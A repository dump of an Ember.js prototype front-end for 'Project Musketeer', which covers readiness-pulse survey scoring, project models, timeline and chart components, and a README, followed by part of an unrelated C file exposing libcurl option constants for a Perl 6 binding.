<file_sep>/app/controllers/project/readiness.js
import Ember from 'ember';
export default Ember.Controller.extend({
selectedPulseID: null,
questionsCollapsed: true,
// Fields for CSV export
pulseResponseFieldHeadings: [{
fieldName: 'project.projectName',
title: 'Project'
},{
fieldName: 'pulse.description',
title: 'Pulse'
},{
fieldName: 'q1',
title: 'Q1'
},{
fieldName: 'q2',
title: 'Q2'
},{
fieldName: 'q3',
title: 'Q3'
},{
fieldName: 'q4',
title: 'Q4'
},{
fieldName: 'q5',
title: 'Q5'
},{
fieldName: 'q6',
title: 'Q6'
},{
fieldName: 'q7',
title: 'Q7'
},{
fieldName: 'q8',
title: 'Q8'
},{
fieldName: 'q9',
title: 'Q9'
},{
fieldName: 'q10',
title: 'Q10'
}],
// Gets a list of the pulses in order of when they were created (i.e. sorted by their ID)
sortedPulseArray: Ember.computed('model.readinessPulses.[]', function() {
return this.get('model.readinessPulses').sortBy('id');
}),
// If there's a selected pulse, this method returns a reference to that object
selectedPulse: Ember.computed('sortedPulseArray.[]', 'selectedPulseID', function() {
if(!this.get('selectedPulseID')) {
let sortedPulseArray = this.get('sortedPulseArray');
// Give a falsy value if there are no pulses that have been released
if(sortedPulseArray.length < 2) {
return null;
}
// By default, return the latest pulse that has been released or nothing
return sortedPulseArray[sortedPulseArray.length - 2];
} else {
return this.get('model.readinessPulses').findBy('id', this.get('selectedPulseID'));
}
}),
// Get the latest pulse (the one that is being designed and hasn't been released)
latestPulse: Ember.computed('sortedPulseArray.[]', function() {
let sortedPulseArray = this.get('sortedPulseArray');
// Return a falsy value if the first pulse hasn't yet been designed
if(sortedPulseArray.length == 0) {
return null;
}
return sortedPulseArray[sortedPulseArray.length - 1];
}),
// Filtered list of responses for the currently-selected pulse
filteredResponses: Ember.computed('model.readinessPulseResponses.[]', 'selectedPulseID', function() {
return Ember.A(this.get('model.readinessPulseResponses').filterBy('pulse.id', this.get('selectedPulse.id')));
}),
actions: {
changePulseId(value) {
this.set('selectedPulseID', value);
},
toggleQuestionsCollapsed() {
this.toggleProperty('questionsCollapsed');
}
},
// Aggregate scores for the currently-selected pulse
currentAggregateScores: Ember.computed('filteredResponses', 'selectedPulseID', function() {
var compellingCaseScores = [0, 0, 0, 0, 0];
var clearVisionScores = [0, 0, 0, 0, 0];
var communicationScores = [0, 0, 0, 0, 0];
var sufficientMotivationScores = [0, 0, 0, 0, 0];
this.get('filteredResponses').forEach(function(item) {
compellingCaseScores[item.get('q1')-1]++;
compellingCaseScores[item.get('q2')-1]++;
compellingCaseScores[item.get('q3')-1]++;
clearVisionScores[item.get('q4')-1]++;
communicationScores[item.get('q5')-1]++;
communicationScores[item.get('q6')-1]++;
communicationScores[item.get('q7')-1]++;
sufficientMotivationScores[item.get('q8')-1]++;
sufficientMotivationScores[item.get('q9')-1]++;
});
return {
'compellingCaseScores': this.normaliseArray(compellingCaseScores),
'compellingCaseAverage': this.starAverage(compellingCaseScores),
'clearVisionScores': this.normaliseArray(clearVisionScores),
'clearVisionAverage': this.starAverage(clearVisionScores),
'communicationScores': this.normaliseArray(communicationScores),
'communicationAverage': this.starAverage(communicationScores),
'sufficientMotivationScores': this.normaliseArray(sufficientMotivationScores),
'sufficientMotivationAverage': this.starAverage(sufficientMotivationScores)
}
}),
// Get total readiness score over all pulses
readinessTrend: Ember.computed('model.readinessPulseResponses.[]', 'sortedPulseArray.[]', function() {
var _this = this;
var trendValues = [];
// Calculate the overall readiness rating for each pulse
this.get('sortedPulseArray').forEach(function(pulse) {
if(pulse.get('status') === 'Released') {
let pulseResponseAverages = [];
//console.log('Looking at pulse with ID: ' + pulse.get('id'));
let responses = _this.get('model.readinessPulseResponses').filterBy('pulse.id', pulse.get('id'));
//console.log('Response count: ' + responses.length);
// For a given pulse, calculate the readiness score for each of its individual pulse response
responses.forEach(function(response) {
pulseResponseAverages.push(_this.accumulateResponseScores(response)/(5*9));
});
// Calculate the average of all pulse averages and add it to the trend
trendValues.push(_this.average(pulseResponseAverages));
}
});
return trendValues;
}),
trendChange: Ember.computed('selectedPulse', 'readinessTrend.[]', function() {
let selectedPulseID = this.get('selectedPulse.id');
let readinessTrend = this.get('readinessTrend');
if(selectedPulseID < 2) {
return null;
}
return (100*(readinessTrend[selectedPulseID - 1] - readinessTrend[selectedPulseID - 2])).toFixed(1);
}),
trendChangeSign: Ember.computed('trendChange', function() {
return (this.get('trendChange') >= 0);
}),
// Computes the average of an array
average(array) {
let sum = array.reduce(function(a, b) { return a + b; });
return sum / array.length;
},
// Average of the star count
starAverage(array) {
//console.log('1: ' + array[0] + ' 2: ' + array[1] + ' 3: ' + array[2] + ' 4: ' + array[3] + ' 5: ' + array[4]);
return (array[0] + 2*array[1] + 3*array[2] + 4*array[3] + 5*array[4])/(5*(array[0] + array[1] + array[2] + array[3] + array[4]));
},
// Normalise an array
normaliseArray(array) {
let count = array[0] + array[1] + array[2] + array[3] + array[4];
return array.map(function(x) { return x / count });
},
// Add up the scores for a response
accumulateResponseScores(response) {
return response.get('q1') +
response.get('q2') +
response.get('q3') +
response.get('q4') +
response.get('q5') +
response.get('q6') +
response.get('q7') +
response.get('q8') +
response.get('q9');
}
});
<file_sep>/README.md
# musketeer-frontend
Version: 0.1 pre-alpha
This is the prototype front-end design for Project Musketeer. It offers the following features:
* Functional front-end design
* Complete data model for use with a JSON:API-compliant server
* Front-end authentication and session management client layer for OAuth2 authentication with a server
* A mock server, using Ember CLI Mirage, for testing without requirements of a server
* Completely automated dependency management with no manually-managed vendor JS libraries
### Future planned features
* Automated unit, integration and acceptance testing using Ember's testing framework
## Prerequisites
You will need the following things properly installed on your computer.
* [Git](https://git-scm.com/)
* [Node.js](https://nodejs.org/) (with NPM)
* [Bower](https://bower.io/)
* [Ember CLI](https://ember-cli.com/)
* [PhantomJS](http://phantomjs.org/)
## Installation
* `git clone https://github.com/stojad/musketeer-frontend`
* `cd musketeer-frontend`
* Run `npm install` to download and install all NPM dependencies
## Dependencies
The following dependencies are automatically managed and installed by NPM when you run `npm install`:
* `ember-bootstrap`
* `ember-cli-mirage`
* `ember-responsive`
* `ember-concurrency`
* `ember-pikaday`
* `ember-power-select`
* `ember-simple-auth`
* `ember-cli-data-export`
* `ember-cryptojs-shim`
* `ember-cli-deploy` and its plugins
## Running / Development
* To test this application on your local machine, run `ember serve`
* Visit your app at [http://localhost:4200](http://localhost:4200).
### Code Generators
Make use of the many generators for code, try `ember help generate` for more details
### Running Tests
* `ember test`
* `ember test --server`
### Building
This will perform a local build with no deployment. This application makes use of the `ember-cli-deploy` package to automate the deployment process. See the *Deploying* section for more detail.
* `ember build` (development)
* `ember build --environment production` (production)
Note that `ember-cli-mirage` will not mock the API if the build targets the `production` environment.
### Deploying
The package `ember-cli-deploy` has been preconfigured to automate deployment to an Amazon EC2 instance by performing a build and then using ssh and rsync to copy the files to the target instance. However, the settings in `config/deploy.js` can be changed to suit your needs. Refer to the `ember-cli-deploy` documentation to see a list of the deployment options and additional packages that can be installed for deployment to different environments. To perform the build and deployment in one step, run:
`ember deploy environment --activate=true`
The *environment* can be either `development`, `staging` or `production`. To control the deployment process for each environment, edit `config/deploy.js`.
## Further Reading / Useful Links
* [ember-cli-deploy documentation](http://ember-cli-deploy.com/docs/v1.0.x/)
* [ember.js](http://emberjs.com/)
* [ember-cli](https://ember-cli.com/)
* Development Browser Extensions
* [ember inspector for chrome](https://chrome.google.com/webstore/detail/ember-inspector/bmdblncegkenkacieihfhpjfppoconhi)
* [ember inspector for firefox](https://addons.mozilla.org/en-US/firefox/addon/ember-inspector/)
<file_sep>/app/components/svg-icon.js
import Ember from 'ember';
export default Ember.Component.extend({
height: 16,
tagName: 'span'
});
<file_sep>/app/models/project.js
import DS from 'ember-data';
export default DS.Model.extend({
projectName: DS.attr('string'),
clientName: DS.attr('string'),
projectMembers: DS.hasMany('user', {inverse: 'projects'}),
projectAdmins: DS.hasMany('user', {inverse: 'projectsAdministering'}),
projectLead: DS.belongsTo('user', {inverse: 'projectsLeading'}),
});
<file_sep>/app/routes/projects.js
import Ember from 'ember';
import AuthenticatedRouteMixin from 'ember-simple-auth/mixins/authenticated-route-mixin';
export default Ember.Route.extend(AuthenticatedRouteMixin, {
model() {
return this.get('store').findAll('project', {include: 'projectAdmins,projectMembers,projectLead'});
}
});
<file_sep>/app/components/modal-impacts-permalink.js
import Ember from 'ember';
export default Ember.Component.extend({
showCopiedToClipboard: false,
permalink: "https://musketeer.deloitte.com/impacts/x19bfg",
actions: {
copyPermalink() {
this.set('showCopiedToClipboard', true);
//TODO: This needs to actually perform the copy to clipboard.
}
}
});
<file_sep>/app/components/actions-timeline.js
import Ember from 'ember';
export default Ember.Component.extend({
didInsertElement() {
// DOM element where the Timeline will be attached
var container = document.getElementById('visualization');
// Create a DataSet (allows two way data-binding)
var items = new vis.DataSet([
{id: 1, content: '<img src="/musketeer/assets/icons/envelope-o.svg" style="height: 16px"></img> Email from CEO', start: '2017-07-20', group: 1, style: "background-color: #FFC0CB"},
{id: 2, content: '<img src="/musketeer/assets/icons/shopping-bag.svg" style="height: 16px"> Brown bag', start: '2017-07-14', group: 1},
{id: 3, content: '<img src="/musketeer/assets/icons/users.svg" style="height: 16px"> S/4HANA Training', start: '2017-07-18', group: 2, style: "background-color: #D5BADB"},
{id: 4, content: '<img src="/musketeer/assets/icons/calendar.svg" style="height: 16px"> S/4HANA Requirements Workshop', start: '2017-07-16', group: 2},
{id: 5, content: '<img src="/musketeer/assets/icons/users.svg" style="height: 16px"> Change Champion Training', start: '2017-07-25', group: 3, style: "background-color: #D5BADB"},
{id: 6, content: '<img src="/musketeer/assets/icons/calendar.svg" style="height: 16px"> Leadership town hall', start: '2017-07-27', group: 3}
]);
// Timeline option groups
var groups = new vis.DataSet([
{
id: 1,
content: 'Team 1'
},
{
id: 2,
content: 'Team 2'
},
{
id: 3,
content: 'Exective'
}
]);
// Configuration for the Timeline
var options = {};
// Create a Timeline
var timeline = new vis.Timeline(container, items, options);
timeline.setGroups(groups);
}
});
<file_sep>/app/components/modal-pulse-schedule.js
import Ember from 'ember';
export default Ember.Component.extend({
store: Ember.inject.service(),
displayConfirmation: false,
displaySaving: false,
currentDate: Ember.computed(function() {
return this.get('pulse.releaseDate');
}),
// Set the date for the current pulse
actions: {
setScheduleDate(newDate) {
//this.set('pulse.releaseDate', newDate);
let record = this.get('store').peekRecord('readiness-pulse', this.get('pulse.id'));
record.set('releaseDate', newDate);
this.set('displayConfirmation', false);
this.set('displaySaving', true);
record.save().then(function() {
this.set('displayConfirmation', true);
this.set('displaySaving', false);
}.bind(this));
},
resetModalState() {
this.set('displayConfirmation', false);
this.set('displaySaving', false);
}
}
});
<file_sep>/mirage/factories/impact.js
import { Factory, faker, association } from 'ember-cli-mirage';
export default Factory.extend({
published: true,
summary() { return faker.hacker.phrase() },
current() { return faker.hacker.phrase() },
change() { return faker.hacker.phrase() },
future() { return faker.hacker.phrase() },
people: faker.list.random('Low', 'Medium', 'High'),
process: faker.list.random('Low', 'Medium', 'High'),
technology: faker.list.random('Low', 'Medium', 'High'),
total: faker.list.random('Low', 'Medium', 'High'),
due() { return faker.date.future(1) },
stakeholders: 'Stakeholder'
});
<file_sep>/app/components/readiness-chart-average-scores.js
import Ember from 'ember';
export default Ember.Component.extend({
chartOptions: Ember.computed('chartData.[]', function() {
var chartData = this.get('chartData');
return {
title: {
text: null
},
yAxis: {
title: {
text: 'Readiness Rating'
},
min: 0,
max: 1,
labels: {
formatter: function() {
var label = this.axis.defaultLabelFormatter.call(this);
return label*100 + '%'
}
}
},
xAxis: {
title: {
text: 'Readiness Pulse'
},
tickInterval: 1
},
series: [{
data: chartData,
name: 'Overall readiness score',
pointStart: 1,
tooltip: {
pointFormatter: function() {
return 'Readiness rating: ' + (this.y*100).toFixed(1) + '%';
}
}
}],
colors: ['#81BC00']
}
}),
chartContent: Ember.computed('chartData.[]', function() {
var chartData = this.get('chartData');
return {
series: [{
data: chartData,
name: 'Overall readiness score',
pointStart: 1
}]
}
})
});
<file_sep>/app/routes/profile.js
import AuthenticatedRouteMixin from 'ember-simple-auth/mixins/authenticated-route-mixin';
import Ember from 'ember';
export default Ember.Route.extend(AuthenticatedRouteMixin, {
model(params) {
return this.get('store').findRecord('user', params.user_id, {include: 'projects'});
}
});
| 22cb66d5ddf97322b5276f9cb7ecf776f82552b8 | [
"JavaScript",
"Markdown"
] | 28 | JavaScript | stojad/musketeer-frontend | c5ac45a589e49cf4f7af133529b540efb477c109 | 56f40a228d9414b7ab6919f1c865f48405d70e1c |
refs/heads/master | <file_sep>#include "perl6_curl.h"
int perl6_curlinfo_appconnect_time () { return CURLINFO_APPCONNECT_TIME; }
int perl6_curlinfo_certinfo () { return CURLINFO_CERTINFO; }
int perl6_curlinfo_condition_unmet () { return CURLINFO_CONDITION_UNMET; }
int perl6_curlinfo_connect_time () { return CURLINFO_CONNECT_TIME; }
int perl6_curlinfo_content_length_download () { return CURLINFO_CONTENT_LENGTH_DOWNLOAD; }
int perl6_curlinfo_content_length_upload () { return CURLINFO_CONTENT_LENGTH_UPLOAD; }
int perl6_curlinfo_content_type () { return CURLINFO_CONTENT_TYPE; }
int perl6_curlinfo_cookielist () { return CURLINFO_COOKIELIST; }
int perl6_curlinfo_data_in () { return CURLINFO_DATA_IN; }
int perl6_curlinfo_data_out () { return CURLINFO_DATA_OUT; }
int perl6_curlinfo_double () { return CURLINFO_DOUBLE; }
int perl6_curlinfo_effective_url () { return CURLINFO_EFFECTIVE_URL; }
int perl6_curlinfo_end () { return CURLINFO_END; }
int perl6_curlinfo_filetime () { return CURLINFO_FILETIME; }
int perl6_curlinfo_ftp_entry_path () { return CURLINFO_FTP_ENTRY_PATH; }
int perl6_curlinfo_header_in () { return CURLINFO_HEADER_IN; }
int perl6_curlinfo_header_out () { return CURLINFO_HEADER_OUT; }
int perl6_curlinfo_header_size () { return CURLINFO_HEADER_SIZE; }
int perl6_curlinfo_httpauth_avail () { return CURLINFO_HTTPAUTH_AVAIL; }
int perl6_curlinfo_http_code () { return CURLINFO_HTTP_CODE; }
int perl6_curlinfo_http_connectcode () { return CURLINFO_HTTP_CONNECTCODE; }
int perl6_curlinfo_lastone () { return CURLINFO_LASTONE; }
int perl6_curlinfo_lastsocket () { return CURLINFO_LASTSOCKET; }
int perl6_curlinfo_local_ip () { return CURLINFO_LOCAL_IP; }
int perl6_curlinfo_local_port () { return CURLINFO_LOCAL_PORT; }
int perl6_curlinfo_long () { return CURLINFO_LONG; }
int perl6_curlinfo_mask () { return CURLINFO_MASK; }
int perl6_curlinfo_namelookup_time () { return CURLINFO_NAMELOOKUP_TIME; }
int perl6_curlinfo_none () { return CURLINFO_NONE; }
int perl6_curlinfo_num_connects () { return CURLINFO_NUM_CONNECTS; }
int perl6_curlinfo_os_errno () { return CURLINFO_OS_ERRNO; }
int perl6_curlinfo_pretransfer_time () { return CURLINFO_PRETRANSFER_TIME; }
int perl6_curlinfo_primary_ip () { return CURLINFO_PRIMARY_IP; }
int perl6_curlinfo_primary_port () { return CURLINFO_PRIMARY_PORT; }
int perl6_curlinfo_private () { return CURLINFO_PRIVATE; }
int perl6_curlinfo_proxyauth_avail () { return CURLINFO_PROXYAUTH_AVAIL; }
int perl6_curlinfo_redirect_count () { return CURLINFO_REDIRECT_COUNT; }
int perl6_curlinfo_redirect_time () { return CURLINFO_REDIRECT_TIME; }
int perl6_curlinfo_redirect_url () { return CURLINFO_REDIRECT_URL; }
int perl6_curlinfo_request_size () { return CURLINFO_REQUEST_SIZE; }
int perl6_curlinfo_response_code () { return CURLINFO_RESPONSE_CODE; }
int perl6_curlinfo_rtsp_client_cseq () { return CURLINFO_RTSP_CLIENT_CSEQ; }
int perl6_curlinfo_rtsp_cseq_recv () { return CURLINFO_RTSP_CSEQ_RECV; }
int perl6_curlinfo_rtsp_server_cseq () { return CURLINFO_RTSP_SERVER_CSEQ; }
int perl6_curlinfo_rtsp_session_id () { return CURLINFO_RTSP_SESSION_ID; }
int perl6_curlinfo_size_download () { return CURLINFO_SIZE_DOWNLOAD; }
int perl6_curlinfo_size_upload () { return CURLINFO_SIZE_UPLOAD; }
int perl6_curlinfo_slist () { return CURLINFO_SLIST; }
int perl6_curlinfo_speed_download () { return CURLINFO_SPEED_DOWNLOAD; }
int perl6_curlinfo_speed_upload () { return CURLINFO_SPEED_UPLOAD; }
int perl6_curlinfo_ssl_data_in () { return CURLINFO_SSL_DATA_IN; }
int perl6_curlinfo_ssl_data_out () { return CURLINFO_SSL_DATA_OUT; }
int perl6_curlinfo_ssl_engines () { return CURLINFO_SSL_ENGINES; }
int perl6_curlinfo_ssl_verifyresult () { return CURLINFO_SSL_VERIFYRESULT; }
int perl6_curlinfo_starttransfer_time () { return CURLINFO_STARTTRANSFER_TIME; }
int perl6_curlinfo_string () { return CURLINFO_STRING; }
int perl6_curlinfo_text () { return CURLINFO_TEXT; }
int perl6_curlinfo_total_time () { return CURLINFO_TOTAL_TIME; }
int perl6_curlinfo_typemask () { return CURLINFO_TYPEMASK; }
int perl6_curlopttype_functionpoint () { return CURLOPTTYPE_FUNCTIONPOINT; }
int perl6_curlopttype_long () { return CURLOPTTYPE_LONG; }
int perl6_curlopttype_objectpoint () { return CURLOPTTYPE_OBJECTPOINT; }
int perl6_curlopttype_off_t () { return CURLOPTTYPE_OFF_T; }
int perl6_curlopt_accepttimeout_ms () { return CURLOPT_ACCEPTTIMEOUT_MS; }
int perl6_curlopt_accept_encoding () { return CURLOPT_ACCEPT_ENCODING; }
int perl6_curlopt_address_scope () { return CURLOPT_ADDRESS_SCOPE; }
int perl6_curlopt_append () { return CURLOPT_APPEND; }
int perl6_curlopt_autoreferer () { return CURLOPT_AUTOREFERER; }
int perl6_curlopt_buffersize () { return CURLOPT_BUFFERSIZE; }
int perl6_curlopt_cainfo () { return CURLOPT_CAINFO; }
int perl6_curlopt_capath () { return CURLOPT_CAPATH; }
int perl6_curlopt_certinfo () { return CURLOPT_CERTINFO; }
int perl6_curlopt_chunk_bgn_function () { return CURLOPT_CHUNK_BGN_FUNCTION; }
int perl6_curlopt_chunk_data () { return CURLOPT_CHUNK_DATA; }
int perl6_curlopt_chunk_end_function () { return CURLOPT_CHUNK_END_FUNCTION; }
int perl6_curlopt_closepolicy () { return CURLOPT_CLOSEPOLICY; }
int perl6_curlopt_closesocketdata () { return CURLOPT_CLOSESOCKETDATA; }
int perl6_curlopt_closesocketfunction () { return CURLOPT_CLOSESOCKETFUNCTION; }
int perl6_curlopt_connecttimeout () { return CURLOPT_CONNECTTIMEOUT; }
int perl6_curlopt_connecttimeout_ms () { return CURLOPT_CONNECTTIMEOUT_MS; }
int perl6_curlopt_connect_only () { return CURLOPT_CONNECT_ONLY; }
int perl6_curlopt_conv_from_network_function () { return CURLOPT_CONV_FROM_NETWORK_FUNCTION; }
int perl6_curlopt_conv_from_utf8_function () { return CURLOPT_CONV_FROM_UTF8_FUNCTION; }
int perl6_curlopt_conv_to_network_function () { return CURLOPT_CONV_TO_NETWORK_FUNCTION; }
int perl6_curlopt_cookie () { return CURLOPT_COOKIE; }
int perl6_curlopt_cookiefile () { return CURLOPT_COOKIEFILE; }
int perl6_curlopt_cookiejar () { return CURLOPT_COOKIEJAR; }
int perl6_curlopt_cookielist () { return CURLOPT_COOKIELIST; }
int perl6_curlopt_cookiesession () { return CURLOPT_COOKIESESSION; }
int perl6_curlopt_copypostfields () { return CURLOPT_COPYPOSTFIELDS; }
int perl6_curlopt_crlf () { return CURLOPT_CRLF; }
int perl6_curlopt_crlfile () { return CURLOPT_CRLFILE; }
int perl6_curlopt_customrequest () { return CURLOPT_CUSTOMREQUEST; }
int perl6_curlopt_debugdata () { return CURLOPT_DEBUGDATA; }
int perl6_curlopt_debugfunction () { return CURLOPT_DEBUGFUNCTION; }
int perl6_curlopt_dirlistonly () { return CURLOPT_DIRLISTONLY; }
int perl6_curlopt_dns_cache_timeout () { return CURLOPT_DNS_CACHE_TIMEOUT; }
int perl6_curlopt_dns_servers () { return CURLOPT_DNS_SERVERS; }
int perl6_curlopt_dns_use_global_cache () { return CURLOPT_DNS_USE_GLOBAL_CACHE; }
int perl6_curlopt_egdsocket () { return CURLOPT_EGDSOCKET; }
int perl6_curlopt_encoding () { return CURLOPT_ENCODING; }
int perl6_curlopt_errorbuffer () { return CURLOPT_ERRORBUFFER; }
int perl6_curlopt_failonerror () { return CURLOPT_FAILONERROR; }
int perl6_curlopt_file () { return CURLOPT_FILE; }
int perl6_curlopt_filetime () { return CURLOPT_FILETIME; }
int perl6_curlopt_fnmatch_data () { return CURLOPT_FNMATCH_DATA; }
int perl6_curlopt_fnmatch_function () { return CURLOPT_FNMATCH_FUNCTION; }
int perl6_curlopt_followlocation () { return CURLOPT_FOLLOWLOCATION; }
int perl6_curlopt_forbid_reuse () { return CURLOPT_FORBID_REUSE; }
int perl6_curlopt_fresh_connect () { return CURLOPT_FRESH_CONNECT; }
int perl6_curlopt_ftpappend () { return CURLOPT_FTPAPPEND; }
int perl6_curlopt_ftplistonly () { return CURLOPT_FTPLISTONLY; }
int perl6_curlopt_ftpport () { return CURLOPT_FTPPORT; }
int perl6_curlopt_ftpsslauth () { return CURLOPT_FTPSSLAUTH; }
int perl6_curlopt_ftp_account () { return CURLOPT_FTP_ACCOUNT; }
int perl6_curlopt_ftp_alternative_to_user () { return CURLOPT_FTP_ALTERNATIVE_TO_USER; }
int perl6_curlopt_ftp_create_missing_dirs () { return CURLOPT_FTP_CREATE_MISSING_DIRS; }
int perl6_curlopt_ftp_filemethod () { return CURLOPT_FTP_FILEMETHOD; }
int perl6_curlopt_ftp_response_timeout () { return CURLOPT_FTP_RESPONSE_TIMEOUT; }
int perl6_curlopt_ftp_skip_pasv_ip () { return CURLOPT_FTP_SKIP_PASV_IP; }
int perl6_curlopt_ftp_ssl () { return CURLOPT_FTP_SSL; }
int perl6_curlopt_ftp_ssl_ccc () { return CURLOPT_FTP_SSL_CCC; }
int perl6_curlopt_ftp_use_eprt () { return CURLOPT_FTP_USE_EPRT; }
int perl6_curlopt_ftp_use_epsv () { return CURLOPT_FTP_USE_EPSV; }
int perl6_curlopt_ftp_use_pret () { return CURLOPT_FTP_USE_PRET; }
int perl6_curlopt_gssapi_delegation () { return CURLOPT_GSSAPI_DELEGATION; }
int perl6_curlopt_header () { return CURLOPT_HEADER; }
int perl6_curlopt_headerdata () { return CURLOPT_HEADERDATA; }
int perl6_curlopt_headerfunction () { return CURLOPT_HEADERFUNCTION; }
int perl6_curlopt_http200aliases () { return CURLOPT_HTTP200ALIASES; }
int perl6_curlopt_httpauth () { return CURLOPT_HTTPAUTH; }
int perl6_curlopt_httpget () { return CURLOPT_HTTPGET; }
int perl6_curlopt_httpheader () { return CURLOPT_HTTPHEADER; }
int perl6_curlopt_httppost () { return CURLOPT_HTTPPOST; }
int perl6_curlopt_httpproxytunnel () { return CURLOPT_HTTPPROXYTUNNEL; }
int perl6_curlopt_http_content_decoding () { return CURLOPT_HTTP_CONTENT_DECODING; }
int perl6_curlopt_http_transfer_decoding () { return CURLOPT_HTTP_TRANSFER_DECODING; }
int perl6_curlopt_http_version () { return CURLOPT_HTTP_VERSION; }
int perl6_curlopt_ignore_content_length () { return CURLOPT_IGNORE_CONTENT_LENGTH; }
int perl6_curlopt_infile () { return CURLOPT_INFILE; }
int perl6_curlopt_infilesize () { return CURLOPT_INFILESIZE; }
int perl6_curlopt_infilesize_large () { return CURLOPT_INFILESIZE_LARGE; }
int perl6_curlopt_interface () { return CURLOPT_INTERFACE; }
int perl6_curlopt_interleavedata () { return CURLOPT_INTERLEAVEDATA; }
int perl6_curlopt_interleavefunction () { return CURLOPT_INTERLEAVEFUNCTION; }
int perl6_curlopt_ioctldata () { return CURLOPT_IOCTLDATA; }
int perl6_curlopt_ioctlfunction () { return CURLOPT_IOCTLFUNCTION; }
int perl6_curlopt_ipresolve () { return CURLOPT_IPRESOLVE; }
int perl6_curlopt_issuercert () { return CURLOPT_ISSUERCERT; }
int perl6_curlopt_keypasswd () { return CURLOPT_KEYPASSWD; }
int perl6_curlopt_krb4level () { return CURLOPT_KRB4LEVEL; }
int perl6_curlopt_krblevel () { return CURLOPT_KRBLEVEL; }
int perl6_curlopt_localport () { return CURLOPT_LOCALPORT; }
int perl6_curlopt_localportrange () { return CURLOPT_LOCALPORTRANGE; }
int perl6_curlopt_low_speed_limit () { return CURLOPT_LOW_SPEED_LIMIT; }
int perl6_curlopt_low_speed_time () { return CURLOPT_LOW_SPEED_TIME; }
int perl6_curlopt_mail_auth () { return CURLOPT_MAIL_AUTH; }
int perl6_curlopt_mail_from () { return CURLOPT_MAIL_FROM; }
int perl6_curlopt_mail_rcpt () { return CURLOPT_MAIL_RCPT; }
int perl6_curlopt_maxconnects () { return CURLOPT_MAXCONNECTS; }
int perl6_curlopt_maxfilesize () { return CURLOPT_MAXFILESIZE; }
int perl6_curlopt_maxfilesize_large () { return CURLOPT_MAXFILESIZE_LARGE; }
int perl6_curlopt_maxredirs () { return CURLOPT_MAXREDIRS; }
int perl6_curlopt_max_recv_speed_large () { return CURLOPT_MAX_RECV_SPEED_LARGE; }
int perl6_curlopt_max_send_speed_large () { return CURLOPT_MAX_SEND_SPEED_LARGE; }
int perl6_curlopt_netrc () { return CURLOPT_NETRC; }
int perl6_curlopt_netrc_file () { return CURLOPT_NETRC_FILE; }
int perl6_curlopt_new_directory_perms () { return CURLOPT_NEW_DIRECTORY_PERMS; }
int perl6_curlopt_new_file_perms () { return CURLOPT_NEW_FILE_PERMS; }
int perl6_curlopt_nobody () { return CURLOPT_NOBODY; }
int perl6_curlopt_noprogress () { return CURLOPT_NOPROGRESS; }
int perl6_curlopt_noproxy () { return CURLOPT_NOPROXY; }
int perl6_curlopt_nosignal () { return CURLOPT_NOSIGNAL; }
int perl6_curlopt_opensocketdata () { return CURLOPT_OPENSOCKETDATA; }
int perl6_curlopt_opensocketfunction () { return CURLOPT_OPENSOCKETFUNCTION; }
int perl6_curlopt_password () { return CURLOPT_PASSWORD; }
int perl6_curlopt_port () { return CURLOPT_PORT; }
int perl6_curlopt_post () { return CURLOPT_POST; }
int perl6_curlopt_post301 () { return CURLOPT_POST301; }
int perl6_curlopt_postfields () { return CURLOPT_POSTFIELDS; }
int perl6_curlopt_postfieldsize () { return CURLOPT_POSTFIELDSIZE; }
int perl6_curlopt_postfieldsize_large () { return CURLOPT_POSTFIELDSIZE_LARGE; }
int perl6_curlopt_postquote () { return CURLOPT_POSTQUOTE; }
int perl6_curlopt_postredir () { return CURLOPT_POSTREDIR; }
int perl6_curlopt_prequote () { return CURLOPT_PREQUOTE; }
int perl6_curlopt_private () { return CURLOPT_PRIVATE; }
int perl6_curlopt_progressdata () { return CURLOPT_PROGRESSDATA; }
int perl6_curlopt_progressfunction () { return CURLOPT_PROGRESSFUNCTION; }
int perl6_curlopt_protocols () { return CURLOPT_PROTOCOLS; }
int perl6_curlopt_proxy () { return CURLOPT_PROXY; }
int perl6_curlopt_proxyauth () { return CURLOPT_PROXYAUTH; }
int perl6_curlopt_proxypassword () { return CURLOPT_PROXYPASSWORD; }
int perl6_curlopt_proxyport () { return CURLOPT_PROXYPORT; }
int perl6_curlopt_proxytype () { return CURLOPT_PROXYTYPE; }
int perl6_curlopt_proxyusername () { return CURLOPT_PROXYUSERNAME; }
int perl6_curlopt_proxyuserpwd () { return CURLOPT_PROXYUSERPWD; }
int perl6_curlopt_proxy_transfer_mode () { return CURLOPT_PROXY_TRANSFER_MODE; }
int perl6_curlopt_put () { return CURLOPT_PUT; }
int perl6_curlopt_quote () { return CURLOPT_QUOTE; }
int perl6_curlopt_random_file () { return CURLOPT_RANDOM_FILE; }
int perl6_curlopt_range () { return CURLOPT_RANGE; }
int perl6_curlopt_readdata () { return CURLOPT_READDATA; }
int perl6_curlopt_readfunction () { return CURLOPT_READFUNCTION; }
int perl6_curlopt_redir_protocols () { return CURLOPT_REDIR_PROTOCOLS; }
int perl6_curlopt_referer () { return CURLOPT_REFERER; }
int perl6_curlopt_resolve () { return CURLOPT_RESOLVE; }
int perl6_curlopt_resume_from () { return CURLOPT_RESUME_FROM; }
int perl6_curlopt_resume_from_large () { return CURLOPT_RESUME_FROM_LARGE; }
int perl6_curlopt_rtspheader () { return CURLOPT_RTSPHEADER; }
int perl6_curlopt_rtsp_client_cseq () { return CURLOPT_RTSP_CLIENT_CSEQ; }
int perl6_curlopt_rtsp_request () { return CURLOPT_RTSP_REQUEST; }
int perl6_curlopt_rtsp_server_cseq () { return CURLOPT_RTSP_SERVER_CSEQ; }
int perl6_curlopt_rtsp_session_id () { return CURLOPT_RTSP_SESSION_ID; }
int perl6_curlopt_rtsp_stream_uri () { return CURLOPT_RTSP_STREAM_URI; }
int perl6_curlopt_rtsp_transport () { return CURLOPT_RTSP_TRANSPORT; }
int perl6_curlopt_seekdata () { return CURLOPT_SEEKDATA; }
int perl6_curlopt_seekfunction () { return CURLOPT_SEEKFUNCTION; }
int perl6_curlopt_server_response_timeout () { return CURLOPT_SERVER_RESPONSE_TIMEOUT; }
int perl6_curlopt_share () { return CURLOPT_SHARE; }
int perl6_curlopt_sockoptdata () { return CURLOPT_SOCKOPTDATA; }
int perl6_curlopt_sockoptfunction () { return CURLOPT_SOCKOPTFUNCTION; }
int perl6_curlopt_socks5_gssapi_nec () { return CURLOPT_SOCKS5_GSSAPI_NEC; }
int perl6_curlopt_socks5_gssapi_service () { return CURLOPT_SOCKS5_GSSAPI_SERVICE; }
int perl6_curlopt_ssh_auth_types () { return CURLOPT_SSH_AUTH_TYPES; }
int perl6_curlopt_ssh_host_public_key_md5 () { return CURLOPT_SSH_HOST_PUBLIC_KEY_MD5; }
